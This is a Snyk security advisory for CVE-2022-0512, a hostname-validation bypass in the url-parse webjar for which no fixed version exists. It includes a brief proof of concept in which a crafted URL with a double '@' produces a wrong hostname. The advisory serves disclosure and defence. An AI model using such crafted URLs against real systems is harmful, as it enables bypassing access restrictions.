Access Restriction Bypass Affecting org.webjars.bowergithub.unshiftio:url-parse package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.14% (50th percentile)

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  • Snyk IDSNYK-JAVA-ORGWEBJARSBOWERGITHUBUNSHIFTIO-2401207
  • published15 Feb 2022
  • disclosed15 Feb 2022
  • creditranjit-git

Introduced: 15 Feb 2022

CVE-2022-0512  (opens in a new tab)
CWE-639  (opens in a new tab)

How to fix?

There is no fixed version for org.webjars.bowergithub.unshiftio:url-parse.

Overview

org.webjars.bowergithub.unshiftio:url-parse is a Small footprint URL parser that works seamlessly across Node.js and browser environments.

Affected versions of this package are vulnerable to Access Restriction Bypass due to improper parsing process, that may lead to incorrect handling of authentication credentials and hostname, which allows bypass of hostname validation.

PoC:

// PoC.js
 var parse = require('url-parse')
var cc=parse("http://admin:password123@@127.0.0.1")

//Output:
{ slashes: true,
  protocol: 'http:',
  hash: '',
  query: '',
  pathname: '/',
  auth: 'admin:password123',
  host: '@127.0.0.1',
  port: '',
  hostname: '@127.0.0.1',
  password: 'password123',
  username: 'admin',
  origin: 'http://@127.0.0.1',
  href: 'http://admin:password123@@127.0.0.1/' }

CVSS Scores

version 3.1